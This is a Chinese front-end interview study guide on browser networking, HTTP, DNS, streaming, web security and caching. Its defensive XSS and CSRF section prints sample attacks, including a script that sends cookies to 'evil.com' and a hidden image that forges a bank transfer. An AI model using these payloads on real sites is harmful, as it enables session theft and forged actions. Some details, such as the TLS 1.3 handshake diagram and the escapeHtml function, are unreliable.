网络缓存及垃圾回收
前端面试知识点汇总
浏览器
不同标签页间的通讯
- 通过父页面window.open()和子页面postMessage
- 异步下,通过 window.open('about: blank') 和 tab.location.href = '*'
- 设置同域下共享的localStorage与监听window.onstorage
- 重复写入相同的值无法触发
- 会受到浏览器隐身模式等的限制
- 设置共享cookie与不断轮询脏检查(setInterval)
- 借助服务端或者中间层实现如websocket,ajax等跨域通讯
history路由和hash路由
hash 路由
hash 路由,在 html5 前,为了解决单页路由跳转问题采用的方案, hash 的变化不会触发页面渲染,服务端也无法获取到 hash 值,前端可通过监听 hashchange 事件来处理hash值的变化
window.addEventListener('hashchange', function(){
// 监听hash变化,点击浏览器的前进后退会触发
})
history 路由
history 路由,是 html5 的规范,提供了对history栈中内容的操作,常用api有:
window.history.pushState(state, title, url)
// let currentState = history.state; 获取当前state
// state:需要保存的数据,这个数据在触发popstate事件时,可以在event.state里获取
// title:标题,基本没用,一般传 null
// url:设定新的历史记录的 url。新的 url 与当前 url 的 origin 必须是一樣的,否则会抛出错误。url可以是绝对路径,也可以是相对路径。
//如 当前url是 https://www.baidu.com/a/,执行history.pushState(null, null, './qq/'),则变成 https://www.baidu.com/a/qq/,
//执行history.pushState(null, null, '/qq/'),则变成 https://www.baidu.com/qq/
window.history.replaceState(state, title, url)
// 与 pushState 基本相同,但她是修改当前历史记录,而 pushState 是创建新的历史记录
window.addEventListener("popstate", function() {
// 监听浏览器前进后退事件,pushState 与 replaceState 方法不会触发
});
一、网络基础
1. 从输入URL到页面加载发生了什么?
简要回答:浏览器解析URL → 查找缓存 → DNS解析ip → TCP三次握手 → HTTPS/TLS握手 → 发送HTTP请求 → 服务器处理 → 返回响应 → 浏览器解析渲染 → TCP四次挥手
详细讲解:
完整流程(11个步骤):
1)浏览器解析URL:
- 协议(http/https)、域名、端口、路径、查询参数
- 例如:
https://www.example.com:443/path?query=value
2)浏览器查找缓存:
- Service Worker 缓存:优先级最高,开发者可控
- Memory Cache:内存中的临时缓存
- Disk Cache(HTTP Cache):硬盘上的持久缓存
- 强制缓存:通过
Expires或Cache-Control: max-age判断 - 协商缓存:通过
Etag和Last-Modified验证
- 强制缓存:通过
3)DNS 解析:
- 浏览器缓存 → 操作系统缓存 → hosts文件 → 本地DNS服务器 → 根域名服务器 → 顶级域名服务器 → 权威域名服务器
4)TCP 三次握手:
- SYN → SYN+ACK → ACK
- 目的:确认双方收发能力正常
5)TLS/SSL 握手(HTTPS):
- 客户端发送支持的加密套件
- 服务器返回证书
- 客户端验证证书,生成对称密钥
- 双方使用对称密钥加密通信
6)HTTP 请求发送:
- 请求行:
GET /path HTTP/1.1 - 请求头:
Host、User-Agent、Accept、Cookie等 - 请求体(POST请求)
7)服务器处理请求:
- 路由匹配、权限验证、业务逻辑处理
- 读取数据库、调用其他服务
8)HTTP 响应返回:
- 状态行:
HTTP/1.1 200 OK - 响应头:
Content-Type、Cache-Control、Set-Cookie等 - 响应体:HTML、JSON、图片等
9)浏览器解析 HTML:
- 构建 DOM 树
- 遇到
<script>标签:阻塞解析(除非有async/defer) - 遇到
<link>标签:异步加载 CSS
10)CSS 解析与渲染:
- 构建 CSSOM 树
- 合并 DOM + CSSOM → 渲染树
- 布局(Layout):计算元素位置和大小
- 绘制(Paint):将像素绘制到屏幕
- 合成(Composite):合并图层
11)TCP 四次挥手:
- FIN → ACK → FIN → ACK
- 等待 2MSL 确保数据传输完成
2. 彻底弄懂 CORS 跨域请求
简要回答:CORS是浏览器实现的跨域安全机制,通过服务器设置响应头允许跨域请求。分为简单请求(直接发送)和非简单请求(先发送OPTIONS预检请求)。
我们可以通过以下几种常用方法解决跨域的问题:
- jsonp 跨域请求
- nginx 配置跨域请求
- 服务器端配置 CORS 响应头
- 如vue proxy 跨域请求
- websocket 跨域请求
详细讲解:
CORS(Cross-Origin Resource Sharing)是浏览器实现的跨域安全机制。
同源策略(SOP)
- 协议、域名、端口三者必须完全相同
- 目的:防止恶意网站窃取用户数据
CORS 响应头详解
Access-Control-Allow-Origin: * # 允许所有来源
Access-Control-Allow-Origin: https://example.com # 允许特定来源
Access-Control-Allow-Methods: GET, POST, PUT # 允许的方法
Access-Control-Allow-Headers: Content-Type # 允许的请求头
Access-Control-Allow-Credentials: true # 是否允许携带凭证
Access-Control-Max-Age: 86400 # 预检请求缓存时间
简单请求 vs 非简单请求
| 请求类型 | 条件 | 是否需要预检 |
|---|---|---|
| 简单请求 | GET/HEAD/POST + 标准头 + Content-Type 为三种之一 | 否 |
| 非简单请求 | 其他情况 | 是 |
Content-Type 允许值:
application/x-www-form-urlencodedmultipart/form-datatext/plain
预检请求流程
OPTIONS /api/data HTTP/1.1
Origin: https://client.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://client.com
Access-Control-Allow-Methods: PUT
Access-Control-Allow-Headers: Content-Type
常见问题
- 多个域名白名单:服务器动态设置
Access-Control-Allow-Origin为请求的Origin - 携带凭证:需设置
Access-Control-Allow-Credentials: true,且Allow-Origin不能为*
3. TCP 的三次握手和四次挥手
简要回答:三次握手确保双方收发能力正常(SYN→SYN+ACK→ACK);四次挥手释放全双工连接(FIN→ACK→FIN→ACK)。
详细讲解:
三次握手(建立连接)
客户端 服务器
| |
| ------ SYN (seq=x) --------> | 第一次:客户端请求连接
| | 状态:SYN-SENT
| <----- SYN+ACK ------------ | 第二次:服务器同意连接
| (seq=y, ack=x+1) | 状态:SYN-RECEIVED
| |
| ------ ACK (ack=y+1) --------> | 第三次:客户端确认
| | 状态:ESTABLISHED
为什么需要三次握手?
- 第一次:客户端 → 服务器(我能发)
- 第二次:服务器 → 客户端(我能收也能发)
- 第三次:客户端 → 服务器(我能收)
- 防止已失效的连接请求到达服务器
四次挥手(关闭连接)
客户端 服务器
| |
| ------ FIN (seq=x) --------> | 第一次:客户端请求关闭
| | 状态:FIN-WAIT-1
| <----- ACK (ack=x+1) -------- | 第二次:服务器确认收到
| | 状态:FIN-WAIT-2
| |
| <----- FIN (seq=y) -------- | 第三次:服务器准备关闭
| (ack=x+1) | 状态:LAST-ACK
| |
| ------ ACK (ack=y+1) --------> | 第四次:客户端确认
| | 状态:TIME-WAIT → CLOSED
为什么需要四次挥手?
- TCP 是全双工连接,双方需分别关闭
- 第二次和第三次不能合并:服务器可能还有数据要发送
2MSL 等待时间:
- MSL(Maximum Segment Lifetime):报文最大生存时间
- 等待 2MSL 确保:
- 最后一个 ACK 到达服务器
- 旧连接的报文完全消失
4. WebSocket
简要回答:WebSocket是HTML5的全双工通信协议,通过一次HTTP握手建立持久连接,支持双向实时通信,无跨域限制。
详细讲解:
WebSocket 是 HTML5 引入的全双工通信协议。
协议特点
- 握手阶段:基于 HTTP,发送 Upgrade 请求
- 数据传输:帧格式,支持文本和二进制
- 无同源限制:服务器控制跨域
握手过程
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
API 使用示例
const ws = new WebSocket('wss://example.com/chat');
ws.onopen = () => {
ws.send('Hello Server!');
};
ws.onmessage = (event) => {
console.log('Received:', event.data);
};
ws.onerror = (error) => {
console.error('Error:', error);
};
ws.onclose = (event) => {
console.log('Close code:', event.code);
};
心跳检测实现
let heartbeatInterval;
function startHeartbeat() {
heartbeatInterval = setInterval(() => {
if (ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({ type: 'ping' }));
}
}, 30000); // 30秒一次
}
function stopHeartbeat() {
clearInterval(heartbeatInterval);
}
应用场景
- 实时聊天、实时通知、在线游戏、协作编辑
5. TCP 和 UDP 的区别
简要回答:TCP面向连接、可靠、有序但效率低;UDP无连接、不可靠、无序但效率高。TCP适合文件传输,UDP适合实时音视频。
详细讲解:
核心差异对比
| 特性 | TCP | UDP |
|---|---|---|
| 连接性 | 面向连接(三次握手) | 无连接 |
| 可靠性 | 可靠(重传、确认、排序) | 不可靠(尽力交付) |
| 顺序性 | 保证顺序 | 不保证顺序 |
| 流量控制 | 滑动窗口 | 无 |
| 拥塞控制 | 慢启动、拥塞避免 | 无 |
| 头部开销 | 20-60 字节 | 8 字节 |
| 速度 | 较慢 | 较快 |
| 适用场景 | 文件传输、网页浏览、邮件 | 视频通话、直播、DNS |
TCP 可靠性机制
- 序列号和确认号:确保数据按序到达
- 超时重传:发送后等待确认,超时则重传
- 滑动窗口:控制发送速率,实现流量控制
- 拥塞控制:根据网络状况调整发送速率
- 选择性重传:只重传丢失的报文段
UDP 使用场景示例
- DNS 查询:小数据量,快速响应更重要
- 实时音视频:少量丢包可接受,延迟敏感
- 游戏数据包:实时性优先
6. Keep-Alive 持久连接
简要回答:Keep-Alive复用TCP连接发送多个HTTP请求,减少握手开销,但存在线头阻塞问题,HTTP/2通过多路复用解决。
详细讲解:
Keep-Alive 使 TCP 连接在多个 HTTP 请求之间复用。
工作原理
# 请求1
GET /page1 HTTP/1.1
Host: example.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
# 请求2(复用同一个TCP连接)
GET /page2 HTTP/1.1
Host: example.com
优点
- 减少 TCP 握手开销
- 降低延迟
- 减少服务器负载
缺点
- 线头阻塞(Head-of-Line Blocking):请求必须按序等待
- 长时间占用连接资源
HTTP/2 的改进
- 多路复用:一个 TCP 连接并发多个请求
- 请求优先级:重要资源优先传输
- 彻底解决线头阻塞问题
7. HTTP 状态码详解
简要回答:1xx信息类、2xx成功类、3xx重定向类、4xx客户端错误、5xx服务器错误。常用:200成功、301永久重定向、304缓存、404不存在、500服务器错误。
详细讲解:
1xx(信息类)
| 状态码 | 含义 | 使用场景 |
|---|---|---|
| 100 Continue | 继续发送 | 客户端发送大请求前的确认 |
| 101 Switching Protocols | 协议切换 | WebSocket 握手 |
| 102 Processing | 处理中 | 服务器正在处理(WebDAV) |
2xx(成功类)
| 状态码 | 含义 | 使用场景 |
|---|---|---|
| 200 OK | 请求成功 | 通用成功响应 |
| 201 Created | 资源创建成功 | POST 创建资源 |
| 202 Accepted | 请求已接受 | 异步处理 |
| 204 No Content | 无内容 | DELETE 操作 |
| 206 Partial Content | 部分内容 | 断点续传 |
3xx(重定向类)
| 状态码 | 含义 | 使用场景 |
|---|---|---|
| 301 Moved Permanently | 永久重定向 | URL 永久变更 |
| 302 Found | 临时重定向 | 临时跳转 |
| 303 See Other | 查看其他 | POST 后重定向 |
| 304 Not Modified | 未修改 | 使用缓存 |
| 307 Temporary Redirect | 临时重定向(保留方法) | 保持请求方法不变 |
| 308 Permanent Redirect | 永久重定向(保留方法) | 保持请求方法不变 |
4xx(客户端错误)
| 状态码 | 含义 | 使用场景 |
|---|---|---|
| 400 Bad Request | 请求错误 | 参数格式错误 |
| 401 Unauthorized | 未授权 | 需要登录 |
| 403 Forbidden | 禁止访问 | 权限不足 |
| 404 Not Found | 资源不存在 | URL 错误 |
| 405 Method Not Allowed | 方法不允许 | 错误的 HTTP 方法 |
| 408 Request Timeout | 请求超时 | 服务器等待超时 |
| 409 Conflict | 冲突 | 资源状态冲突 |
| 413 Payload Too Large | 请求体过大 | 超出限制 |
| 422 Unprocessable Entity | 无法处理 | 参数校验失败 |
| 429 Too Many Requests | 请求过多 | 限流 |
5xx(服务器错误)
| 状态码 | 含义 | 使用场景 |
|---|---|---|
| 500 Internal Server Error | 服务器错误 | 代码异常 |
| 502 Bad Gateway | 网关错误 | 上游服务异常 |
| 503 Service Unavailable | 服务不可用 | 维护或过载 |
| 504 Gateway Timeout | 网关超时 | 上游响应超时 |
8. HTTP/1、HTTP/2、HTTP/3 的区别
简要回答:HTTP/1.1有线程阻塞;HTTP/2引入二进制分帧、多路复用、头部压缩;HTTP/3基于QUIC协议,无线头阻塞。
详细讲解:
演进历程
HTTP/0.9 (1991) → HTTP/1.0 (1996) → HTTP/1.1 (1999) → HTTP/2 (2015) → HTTP/3 (2022)
HTTP/1.1 的问题
- 线头阻塞:请求必须按序响应
- 重复头部:每次请求都发送相同的头部
- 明文传输:无加密
HTTP/2 核心特性
1. 二进制分帧
┌─────────────────────────────────────────────────────────┐
│ TCP Connection │
├─────────────────────────────────────────────────────────┤
│ Stream 1: [Frame] [Frame] [Frame] │
│ Stream 2: [Frame] [Frame] │
│ Stream 3: [Frame] │
└─────────────────────────────────────────────────────────┘
2. 多路复用
- 一个 TCP 连接多个流
- 流之间独立,互不阻塞
3. Header 压缩(HPACK)
- 静态表:预定义常见头部
- 动态表:记录通信中的头部
- 差分编码:只发送变化的部分
4. 服务端推送(Server Push)
PUSH_PROMISE /style.css # 服务器主动推送
5. 请求优先级
- 为流分配优先级
- 浏览器优先获取关键资源
HTTP/3 核心特性
1. 基于 QUIC 协议
- 基于 UDP,实现可靠传输
- 更快的连接建立(0-RTT)
- 独立流控制,无线头阻塞
2. 内置 TLS 1.3
- 加密是默认配置
- 简化握手流程
3. 向前纠错(FEC)
- 发送冗余数据
- 减少重传次数
协议对比
| 特性 | HTTP/1.1 | HTTP/2 | HTTP/3 |
|---|---|---|---|
| 传输层 | TCP | TCP | QUIC (UDP) |
| 多路复用 | 否 | 是 | 是 |
| 头部压缩 | 否 | HPACK | QPACK |
| 服务端推送 | 否 | 是 | 是 |
| 加密 | 可选 | 建议 | 强制 |
| 线头阻塞 | 有 | 有(TCP层) | 无 |
9. HTTPS 握手过程
简要回答:客户端发起请求 → 服务器返回证书 → 客户端验证证书并生成对称密钥 → 用服务器公钥加密密钥发送 → 双方用对称密钥通信。
详细讲解:
完整握手流程(TLS 1.3)
客户端 服务器
| |
| ---- ClientHello ----------> | 1. 支持的协议版本、加密套件、随机数
| |
| <----- ServerHello -------- | 2. 确认协议版本、加密套件、随机数、证书
| + Certificate |
| + ServerKeyExchange |
| |
| ------ ClientKeyExchange ----> | 3. 用服务器公钥加密预主密钥
| + ChangeCipherSpec |
| + Finished |
| |
| <----- ChangeCipherSpec ---- | 4. 切换加密、确认
| + Finished |
| |
| ===== 加密通信 ===== | 5. 应用数据传输
加密方式详解
非对称加密(密钥交换):
- 公钥:公开,用于加密
- 私钥:保密,用于解密
- 算法:RSA、ECC
对称加密(数据传输):
- 共享密钥:双方协商的随机数
- 算法:AES-GCM、ChaCha20-Poly1305
- 特点:速度快,适合大量数据
数字签名(身份验证):
- 服务器用私钥签名证书
- 客户端用 CA 公钥验证
证书验证流程
- 验证证书颁发机构(CA)
- 验证证书有效期
- 验证证书签名
- 检查证书吊销列表(CRL)或 OCSP
性能优化
- 会话复用:Session ID 或 Session Ticket
- OCSP Stapling:服务器提前获取证书状态
- TLS False Start:减少握手延迟
10. HTTP 与 HTTPS 默认端口
简要回答:HTTP默认端口80,HTTPS默认端口443。
详细讲解:
端口分配原则:
- 知名端口(0-1023):系统保留
- 注册端口(1024-49151):用户程序使用
- 动态端口(49152-65535):临时分配
HTTP 默认端口:
- 80:标准 HTTP 端口
- 示例:
http://example.com等价于http://example.com:80
HTTPS 默认端口:
- 443:标准 HTTPS 端口
- 示例:
https://example.com等价于https://example.com:443
常见非标准端口:
8080:开发环境常用8443:HTTPS 备用端口
11. DNS 解析过程
简要回答:浏览器缓存→系统缓存→hosts文件→本地DNS→根DNS→顶级DNS→权威DNS。
详细讲解:
完整解析流程
浏览器缓存 → 操作系统缓存 → hosts文件 → 本地DNS服务器
↓
根域名服务器 → 顶级域名服务器 → 权威域名服务器
各层级详解
1. 浏览器缓存
- 浏览器内置缓存,TTL 较短
2. 操作系统缓存
- Windows:
ipconfig /displaydns - Linux/macOS:
dig example.com
3. hosts 文件
- 路径:
/etc/hosts(Unix)或C:\Windows\System32\drivers\etc\hosts - 格式:
127.0.0.1 localhost
4. 本地 DNS 服务器
- 通常是 ISP 提供的服务器
- 缓存查询结果
5. 根域名服务器
- 全球共 13 组根服务器
- 返回顶级域名服务器地址
6. 顶级域名服务器(TLD)
- .com、.cn、.org 等
- 返回权威域名服务器地址
7. 权威域名服务器
- 域名注册商的服务器
- 返回最终 IP 地址
DNS 记录类型
| 类型 | 含义 | 示例 |
|---|---|---|
| A | IPv4 地址 | example.com A 192.168.1.1 |
| AAAA | IPv6 地址 | example.com AAAA ::1 |
| CNAME | 别名记录 | www.example.com CNAME example.com |
| MX | 邮件服务器 | example.com MX mail.example.com |
| TXT | 文本记录 | example.com TXT "v=spf1 include:_spf.google.com" |
DNS 优化策略
1. DNS 预解析
<link rel="dns-prefetch" href="//api.example.com">
<link rel="preconnect" href="https://api.example.com">
2. DNS 负载均衡
- 轮询、加权轮询、地理定位
3. CDN 加速
- 就近节点解析
4. 域名分片
- 突破浏览器并发限制(同一域名 6 个连接)
13. CDN 工作原理
简要回答:CDN(内容分发网络)将静态资源缓存到全球边缘节点,用户就近获取,降低延迟和源站压力。
详细讲解:
CDN 架构
用户 → 本地DNS → 智能DNS → 边缘节点 → 源站
↓
缓存命中?
/ \
是 否
↓ ↓
返回缓存 回源获取
↓
缓存并返回
工作流程
- 用户请求:用户访问
https://static.example.com/js/app.js - DNS 解析:智能 DNS 根据用户位置返回最近的边缘节点 IP
- 缓存命中:边缘节点有缓存,直接返回
- 缓存未命中:边缘节点向源站请求,缓存后返回
CDN 缓存策略
# 静态资源(带版本号)
Cache-Control: max-age=31536000, immutable
# HTML 文件
Cache-Control: no-cache
缓存刷新:
- 时间过期:自动刷新
- 手动刷新:通过 CDN 控制台触发
- 版本号更新:
app.v2.js触发新请求
CDN 优化效果
| 指标 | 优化前 | 优化后 |
|---|---|---|
| 延迟 | 100-500ms | 10-50ms |
| 带宽消耗 | 高 | 低 |
| 源站压力 | 大 | 小 |
14. 浏览器并发连接限制
简要回答:浏览器对同一域名有并发连接限制(HTTP/1.1 通常 6 个),超过限制的请求会排队等待。
详细讲解:
并发限制原因
- TCP 连接开销:每个连接需要三次握手
- 服务器资源:防止服务器被大量连接压垮
- 公平性:避免单个页面占用过多资源
各浏览器限制
| 浏览器 | HTTP/1.1 并发数 | HTTP/2 并发数 |
|---|---|---|
| Chrome | 6 | 无限制(多路复用) |
| Firefox | 6 | 无限制 |
| Safari | 6 | 无限制 |
| Edge | 6 | 无限制 |
优化策略
1. 域名分片
<!-- 使用多个子域名 -->
<script src="https://static1.example.com/app.js"></script>
<script src="https://static2.example.com/vendor.js"></script>
2. 合并资源
// 将多个小文件合并为一个
import './utils.js';
import './api.js';
import './ui.js';
// 打包为 app.bundle.js
3. 使用 HTTP/2
- 多路复用:一个 TCP 连接并发多个请求
- 消除线头阻塞
15. RESTful API 设计原则
简要回答:使用合适的 HTTP 方法、无状态、统一接口、分层设计、支持缓存。
详细讲解:
核心原则
1. 使用合适的 HTTP 方法
| 方法 | 操作 | 示例 |
|---|---|---|
| GET | 查询列表 | GET /api/users |
| GET | 查询单个 | GET /api/users/123 |
| POST | 创建 | POST /api/users |
| PUT | 完整更新 | PUT /api/users/123 |
| PATCH | 部分更新 | PATCH /api/users/123 |
| DELETE | 删除 | DELETE /api/users/123 |
2. 无状态
- 服务器不保存客户端状态
- 每次请求包含所有必要信息
- 便于水平扩展
3. 统一接口
- 资源用名词表示(
/users、/posts) - 使用查询参数过滤(
/users?status=active) - 使用分页(
/users?page=2&limit=10)
4. 分层设计
- 客户端不关心服务端内部结构
- 支持中间层(缓存、负载均衡)
5. 缓存友好
- 支持条件请求
If-None-Match: "abc123"
If-Modified-Since: Wed, 21 Oct 2024 07:28:00 GMT
- 返回
304 Not Modified使用缓存
错误处理
HTTP/1.1 400 Bad Request
Content-Type: application/json
{
"error": "InvalidParameter",
"message": "Email format is invalid",
"code": 1001
}
16. SSE、WebSocket、Fetch Stream 对比(AI 聊天打字效果)
简要回答:SSE 是服务器单向推送,WebSocket 是双向通信,Fetch Stream 是 HTTP 流式响应。三者都可实现打字效果,各有优劣。
详细讲解:
三种方案对比
| 特性 | SSE (Server-Sent Events) | WebSocket | Fetch Stream |
|---|---|---|---|
| 协议 | HTTP | WebSocket (WS/WSS) | HTTP/2 |
| 方向 | 服务器 → 客户端(单向) | 双向 | 服务器 → 客户端(单向) |
| 连接 | 持久连接 | 持久连接 | 单次请求流 |
| 重连 | 自动重连 | 需手动实现 | 需手动重连 |
| 数据格式 | 文本(event stream) | 文本/二进制 | 文本/二进制 |
| 跨域 | 需 CORS | 无跨域限制 | 需 CORS |
| 兼容性 | IE 不支持 | IE 10+ | 现代浏览器 |
| 用途 | 实时通知、日志流 | 实时聊天、游戏 | AI 流式响应 |
实现打字效果代码对比
1. SSE 实现
// 前端
const eventSource = new EventSource('/api/stream');
eventSource.onmessage = (event) => {
const content = event.data;
document.getElementById('chat').textContent += content;
};
eventSource.onerror = (error) => {
console.error('SSE error:', error);
eventSource.close();
};
// 后端(FastAPI)
from fastapi import FastAPI
from sse_starlette.sse import EventSourceResponse
import asyncio
app = FastAPI()
@app.get("/api/stream")
async def stream():
async def generate():
for char in "Hello, World!":
yield {"data": char}
await asyncio.sleep(0.1)
return EventSourceResponse(generate())
2. WebSocket 实现
// 前端
const ws = new WebSocket('wss://example.com/api/chat');
ws.onopen = () => {
ws.send(JSON.stringify({ message: 'Hello' }));
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
document.getElementById('chat').textContent += data.content;
};
// 后端(FastAPI)
from fastapi import FastAPI, WebSocket
import asyncio
app = FastAPI()
@app.websocket("/api/chat")
async def chat(websocket: WebSocket):
await websocket.accept()
while True:
data = await websocket.receive_json()
for char in "Response":
await websocket.send_json({"content": char})
await asyncio.sleep(0.1)
3. Fetch Stream 实现
// 前端
const startStreaming = async () => {
const response = await fetch('/api/stream_chat', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ message: 'Hello' })
});
const reader = response.body.getReader();
const decoder = new TextDecoder('utf-8');
while (true) {
const { done, value } = await reader.read();
if (done) break;
const chunk = decoder.decode(value, { stream: true });
document.getElementById('chat').textContent += chunk;
}
};
// 后端(FastAPI)
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
import asyncio
app = FastAPI()
@app.post("/api/stream_chat")
async def stream_chat():
async def generate():
for char in "Hello, World!":
yield char
await asyncio.sleep(0.1)
return StreamingResponse(generate(), media_type="text/plain")
方案选择建议
| 场景 | 推荐方案 | 原因 |
|---|---|---|
| AI 聊天打字效果 | Fetch Stream / SSE | 单向流,实现简单 |
| 实时双向聊天 | WebSocket | 双向通信,低延迟 |
| 服务器日志监控 | SSE | 自动重连,轻量级 |
| 游戏实时数据 | WebSocket | 双向实时通信 |
关键注意事项
1. SSE 格式要求
Content-Type: text/event-stream
Cache-Control: no-cache
Connection: keep-alive
data: Hello
data: World
event: update
data: {"progress": 50}
2. Fetch Stream 编码处理
// 处理多字节字符(如中文)
const decoder = new TextDecoder('utf-8');
let buffer = '';
while (true) {
const { done, value } = await reader.read();
if (done) {
// 处理剩余数据
console.log(buffer + decoder.decode(value));
break;
}
buffer += decoder.decode(value, { stream: true });
}
3. WebSocket 心跳检测
let heartbeatInterval = setInterval(() => {
if (ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({ type: 'ping' }));
}
}, 30000);
二、安全策略
1. 中间人攻击(MITM)
简要回答:攻击者截获通信双方的数据,冒充双方进行通信。防范:使用HTTPS、验证证书、证书固定。
详细讲解:
攻击模型
客户端 攻击者 服务器
| | |
| ------ 请求公钥 ----> | |
| | ------ 请求公钥 ----> |
| | <----- 公钥 -------- |
| <----- 假公钥 ------- | |
| | |
| ------ 加密密钥 ----> | |
| | (解密获取密钥) |
| | ------ 加密密钥 ----> |
| | <----- 响应 -------- |
| <----- 假响应 ------- | |
攻击手段
- ARP 欺骗:伪造 MAC 地址
- DNS 劫持:篡改 DNS 解析结果
- SSL Stripping:降级 HTTPS 为 HTTP
防范措施
1. 使用 HTTPS
- 强制 HTTPS(HSTS)
- 配置正确的证书
2. 证书验证
- 验证证书颁发机构
- 检查证书有效期
- 防止证书伪造
3. 证书固定(Certificate Pinning)
// 固定证书指纹
const pinnedFingerprint = 'sha256-abc123...';
4. 使用 VPN 或代理
- 加密网络传输
2. XSS(跨站脚本攻击)
简要回答:注入恶意脚本在用户浏览器执行。分为存储型(存数据库)、反射型(URL参数)、DOM型(客户端)。防范:输入验证、输出转义、使用安全API、设置安全响应头。
详细讲解:
攻击原理:在页面中注入恶意脚本,在用户浏览器中执行。
XSS 类型对比
| 类型 | 存储位置 | 触发方式 | 危害程度 |
|---|---|---|---|
| 存储型 | 数据库 | 页面渲染时执行 | 高 |
| 反射型 | URL 参数 | 点击链接时执行 | 中 |
| DOM 型 | 客户端 | JavaScript 处理时 | 中 |
攻击示例
1. 存储型 XSS
<!-- 攻击者在评论区输入 -->
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
<!-- 其他用户访问页面时执行 -->
2. 反射型 XSS
http://example.com/search?keyword=<script>alert('XSS')</script>
3. DOM 型 XSS
// 不安全的代码
const keyword = decodeURIComponent(location.search.slice(1));
document.getElementById('result').innerHTML = keyword;
防范措施
1. 输入验证
- 限制输入长度
- 过滤特殊字符
- 使用白名单验证
2. 输出转义
// HTML 转义
function escapeHtml(str) {
return str.replace(/[&<>"']/g, char => ({
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}[char]));
}
3. 使用安全的 API
- Vue:
{{ }}自动转义 - React:JSX 自动转义
- 避免使用
innerHTML、eval()、setTimeout(string)
4. 设置安全响应头
Content-Security-Policy: default-src 'self'
X-XSS-Protection: 1; mode=block
5. Cookie 安全标记
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
3. CSRF(跨站请求伪造)
简要回答:诱导已登录用户执行非预期操作。防范:验证Referer/Origin、添加CSRF Token、使用SameSite Cookie。
详细讲解:
攻击原理:诱导用户在已登录状态下执行非预期操作。
攻击流程
受害者登录银行网站 → 攻击者诱导访问恶意页面 → 恶意页面自动发送转账请求 → 银行执行转账
攻击示例
<!-- 恶意页面 -->
<img src="http://bank.com/transfer?to=attacker&amount=1000" style="display:none">
攻击条件
- 用户已登录目标网站
- 存在敏感操作接口
- 接口未验证请求来源
防范措施
1. 验证请求来源
- Referer 验证:检查请求来源域名
- Origin 验证:检查 Origin 头
2. 添加 CSRF Token
<!-- 表单中添加 Token -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="abc123">
...
</form>
// AJAX 请求中添加 Token
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify(data)
});
3. 使用 SameSite Cookie
Set-Cookie: session=abc; SameSite=Strict
4. 关键操作要求验证
- 验证码
- 密码二次验证
- 短信验证
4. JSONP 安全防范
简要回答:JSONP通过动态创建script标签跨域获取数据,存在XSS风险。防范:白名单验证、callback参数验证、使用CORS替代。
详细讲解:
JSONP 是一种跨域数据获取方式,通过动态创建 <script> 标签实现。
工作原理
<script src="http://api.example.com/data?callback=handleData"></script>
<script>
function handleData(data) {
console.log(data);
}
</script>
服务器返回:
handleData({"name": "John"});
安全风险
- XSS 攻击:如果 callback 参数被注入恶意代码
-
http://api.example.com/data?callback=<script>alert('XSS')</script> - 返回:
<script>alert('XSS')</script>({"name": "John"});
防范措施
1. 白名单验证
- 验证 Referer 来源
- 限制允许的域名
2. Callback 参数验证
- 只允许字母、数字、下划线
- 限制长度
// 安全的 callback 验证
function isValidCallback(callback) {
return /^[a-zA-Z_$][a-zA-Z0-9_$]*$/.test(callback);
}
3. 使用 CORS 替代
- CORS 更安全、更灵活
- 支持 POST 请求
- 支持自定义请求头
三、浏览器缓存
1. 缓存类型
简要回答:Service Worker(最高优先级)→ Memory Cache → Disk Cache → 网络请求。
详细讲解:
缓存层次
Service Worker → Memory Cache → Disk Cache → 网络请求
各类缓存特点
| 缓存类型 | 存储位置 | 容量 | 存活时间 | 优先级 |
|---|---|---|---|---|
| Service Worker | 磁盘 | 较大 | 持久 | 最高 |
| Memory Cache | 内存 | 较小 | 页面关闭 | 次高 |
| Disk Cache | 磁盘 | 较大 | 按规则 | 次低 |
| Push Cache | 内存 | 较小 | 会话级 | 最低 |
2. 强制缓存
简要回答:通过Expires或Cache-Control控制,无需向服务器验证,Cache-Control优先级更高。
详细讲解:
通过 HTTP 响应头控制,无需向服务器验证。
Expires(HTTP/1.0)
Expires: Wed, 21 Oct 2025 07:28:00 GMT
- 绝对时间,可能与客户端时间不一致
Cache-Control(HTTP/1.1)
Cache-Control: max-age=3600, public
Cache-Control 指令详解
| 指令 | 含义 |
|---|---|
max-age=seconds |
缓存有效期(秒) |
public |
可被公共缓存存储 |
private |
仅客户端缓存 |
no-cache |
需验证后使用 |
no-store |
不缓存 |
must-revalidate |
过期后必须验证 |
proxy-revalidate |
代理必须验证 |
优先级
Cache-Control: max-age>Expires- 如果同时存在,
max-age覆盖Expires
3. 协商缓存
简要回答:每次请求需向服务器验证,通过Etag/If-None-Match或Last-Modified/If-Modified-Since验证,有效返回304,无效返回200。
详细讲解:
每次请求都需向服务器验证,服务器决定是否使用缓存。
验证机制
Last-Modified / If-Modified-Since
# 首次响应
Last-Modified: Wed, 21 Oct 2024 07:28:00 GMT
# 再次请求
If-Modified-Since: Wed, 21 Oct 2024 07:28:00 GMT
Etag / If-None-Match
# 首次响应
Etag: "abc123"
# 再次请求
If-None-Match: "abc123"
Etag vs Last-Modified
| 特性 | Etag | Last-Modified |
|---|---|---|
| 精度 | 高(文件内容哈希) | 低(时间戳) |
| 粒度 | 细 | 粗 |
| 优先级 | 高 | 低 |
| 适用场景 | 文件频繁修改 | 文件修改频率低 |
验证流程
